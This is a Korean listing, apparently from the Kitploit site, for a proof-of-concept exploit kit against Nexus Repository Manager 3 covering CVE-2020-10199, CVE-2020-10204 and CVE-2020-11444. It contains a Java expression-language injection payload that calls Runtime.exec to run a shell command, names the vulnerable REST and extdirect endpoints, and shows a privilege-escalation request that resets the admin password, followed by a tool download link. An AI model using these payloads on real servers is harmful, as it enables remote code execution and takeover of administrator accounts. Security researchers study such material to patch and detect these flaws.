CVE-2020-10199 — Nexus Repository Manager 3 취약점(CVE-2020-10199, CVE-2020-10204, CVE-2020-11444)을 위한 PoC 익스플로잇 모음으로, HTTP 엔드포인트를 통한 원격 코드 실행 및 권한 상승을 가능하게 합니다. | Kitploit

Nexus Repository Manager 3 Vuln (영향 버전: <= 3.21.2)

CVE-2020-10199, CVE-2020-10204, CVE-2020-11444

CVE-2020-10199 원격 코드 명령 실행

응답 PoC

응답 없는 PoC

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}

일반 사용자 권한

/service/rest/beta/repositories/go/group

관리자 권한 필요

CleanupPolicy 생성

/service/extdirect

repositories 생성

/service/rest/beta/repositories/apt/hosted

CVE-2020-10204 원격 코드 명령 실행

사용자 업데이트 인터페이스 활용 /service/extdirect
역할 생성 인터페이스 활용 /service/extdirect

CVE-2020-11444 권한 상승 취약점

role 업데이트 인터페이스 호출

/service/rest/beta/security/users/admin/change-password

POST:
123456

참고 링크

https://www.cnblogs.com/magic-zero/p/12641068.html

https://github.com/threedr3am/learnjavabug/tree/93d57c428333f98b5927d02630737e639dcb226b/nexus

도구 다운로드